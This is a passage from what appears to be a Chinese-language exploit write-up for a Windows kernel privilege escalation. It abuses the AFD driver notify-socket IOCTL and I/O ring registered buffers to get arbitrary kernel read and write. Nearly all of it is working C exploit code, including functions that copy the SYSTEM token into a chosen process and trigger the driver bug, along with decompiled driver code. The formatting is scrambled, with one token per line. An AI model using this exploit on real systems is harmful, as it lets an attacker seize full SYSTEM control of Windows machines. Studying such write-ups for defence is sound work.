submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。
以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
创建I
/
O ringint ioring_setup(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags
=
{
0
};
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
getobjptr(ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
pIoRing
=
*
ppIoRingAddr;
hInPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
ret
=
GetLastError();
goto done;
}
hInPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
return
ret;
}
首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int
ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int
ret
=
-
1
;
HANDLE hProc
=
NULL;
ULONG64 ullSystemEPROCaddr
=
0
;
ULONG64 ullTargEPROCaddr
=
0
;
PVOID pFakeRegBuffers
=
NULL;
_HIORING
*
phIoRing
=
NULL;
ULONG64 ullSysToken
=
0
;
char null[
0x10
]
=
{
0
};
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, pid);
if
(NULL
=
=
hProc)
{
ret
=
GetLastError();
goto done;
}
ret
=
getobjptr(&ullSystemEPROCaddr,
4
,
4
);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System EPROC address: %llx\n"
, ullSystemEPROCaddr);
ret
=
getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+} Target process EPROC address: %llx\n"
, ullTargEPROCaddr);
pFakeRegBuffers
=
VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64)
*
ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if
(pFakeRegBuffers !
=
(PVOID)ullFakeRegBufferAddr)
{
ret
=
GetLastError();
goto done;
}
memset(pFakeRegBuffers,
0
, sizeof(ULONG64)
*
ulFakeRegBufferCnt);
phIoRing
=
*
(_HIORING
*
*
)&hIoRing;
phIoRing
-
>RegBufferArray
=
pFakeRegBuffers;
phIoRing
-
>BufferArraySize
=
ulFakeRegBufferCnt;
ret
=
ioring_read(pFakeRegBuffers, ullSystemEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System token is at: %llx\n"
, ullSysToken);
ret
=
ioring_write(pFakeRegBuffers, ullTargEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
ioring_write(pFakeRegBuffers, &pIoRing
-
>RegBuffersCount, &null,
0x10
);
ret
=
0
;
done:
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
if
( InputBufferLength !
=
0x30
|| OutputBufferLength )
{
v10
=
STATUS_INFO_LENGTH_MISMATCH;
goto LABEL_45;
}
if
( !v7
-
>dwCounter )
goto LABEL_5;
if
( v7
-
>dwLen )
{
if
( !v7
-
>pPwnPtr || !v7
-
>pData2 )
goto LABEL_5;
}
else
if
( v7
-
>pData2 || v7
-
>dwTimeout )
{
LABEL_5:
v10
=
STATUS_INVALID_PARAMETER;
goto LABEL_45;
}
v11
=
v7
-
>hCompletion;
Object
=
0i64
;
v10
=
ObReferenceObjectByHandle(v11,
2u
, IoCompletionObjectType, pre_mode, &
Object
,
0i64
);
if
( v10 >
=
0
)
{
v12
=
IoIs32bitProcess(
0i64
);
v13
=
0
;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
while
( v13 < v7
-
>dwCounter )
{
if
( pre_mode )
{
v24
=
0i64
;
v25
=
0i64
;
v15
=
v13;
v16
=
v7
-
>pData1;
if
( v12 )
{
v17
=
(unsigned __int64)v16
+
16
*
v13;
v31
=
v17;
if
( (v17 &
3
) !
=
0
)
ExRaiseDatatypeMisalignment();
if
( v17
+
16
>
*
v14 || v17
+
16
< v17 )
*
(_BYTE
*
)
*
v14
=
0
;
*
(_QWORD
*
)&v24
=
*
(unsigned
int
*
)v17;
*
((_QWORD
*
)&v24
+
1
)
=
*
(unsigned
int
*
)(v17
+
4
);
LOWORD(v25)
=
*
(_WORD
*
)(v17
+
8
);
BYTE2(v25)
=
*
(_BYTE
*
)(v17
+
10
);
}
else
{
v17
=
(unsigned __int64)v16
+
24
*
v13;
if
( v17 >
=
*
v14 )
v17
=
*
v14;
v24
=
*
(_OWORD
*
)v17;
v25
=
*
(_QWORD
*
)(v17
+
16
);
}
v18
=
&v24;
v27
=
&v24;
}
else
{
v15
=
v13;
v17
=
3i64
*
v13;
v18
=
(__int128
*
)((char
*
)v7
-
>pData1
+
24
*
v13);
v27
=
v18;
}
v19
=
a1;
if
( v13 )
v19
=
0i64
;
LOBYTE(v17)
=
pre_mode;
v20
=
AfdNotifyProcessRegistration(v17, v9, v18, v19);
if
( pre_mode )
{
v21
=
(char
*
)v7
-
>pData1;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
if
( v12 )
v22
=
&v21[
16
*
v15
+
12
];
else
v22
=
&v21[
24
*
v15
+
20
];
if
( (unsigned __int64)v22 >
=
MmUserProbeAddress )
v22
=
(char
*
)MmUserProbeAddress;
*
(_DWORD
*
)v22
=
v20;
}
else
{
*
((_DWORD
*
)v7
-
>pData1
+
6
*
v15
+
5
)
=
v20;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
}
+
+
v13;
}
v10
=
AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);
}
为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。
将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
int
ArbitraryKernelWrite0x1(void
*
pPwnPtr)
{
int
ret
=
-
1
;
HANDLE hCompletion
=
INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock
=
{
0
};
HANDLE hSocket
=
INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath
=
{
0
};
OBJECT_ATTRIBUTES ObjectAttributes
=
{
0
};
AFD_NOTIFYSOCK_DATA Data
=
{
0
};
HANDLE hEvent
=
NULL;
HANDLE hThread
=
NULL;
/
/
Hard
-
coded attributes
for
an IPv4 TCP socket
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
ret
=
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
_NtSetIoCompletion(hCompletion,
0x1337
, &IoStatusBlock,
0
,
0x100
);
if
(
0
!
=
ret)
{
goto done;
}
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
(USHORT)wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
ret
=
_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(
0
!
=
ret)
{
goto done;
}
Data.hCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
100000000
;
Data.pPwnPtr
=
pPwnPtr;
if
((NULL
=
=
Data.pData1) || (NULL
=
=
Data.pData2))
{
ret
=
GetLastError();
goto done;
}
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(NULL
=
=
hEvent)
{
ret
=
GetLastError();
goto done;
}
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
ret
=
0
;
done:
if
(INVALID_HANDLE_VALUE !
=
hCompletion)
{
CloseHandle(hCompletion);
}
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
if
(NULL !
=
Data.pData1)
{
VirtualFree(Data.pData1,
0
, MEM_RELEASE);
}
if
(NULL !
=
Data.pData2)
{
VirtualFree(Data.pData2,
0
, MEM_RELEASE);
}
return
ret;
}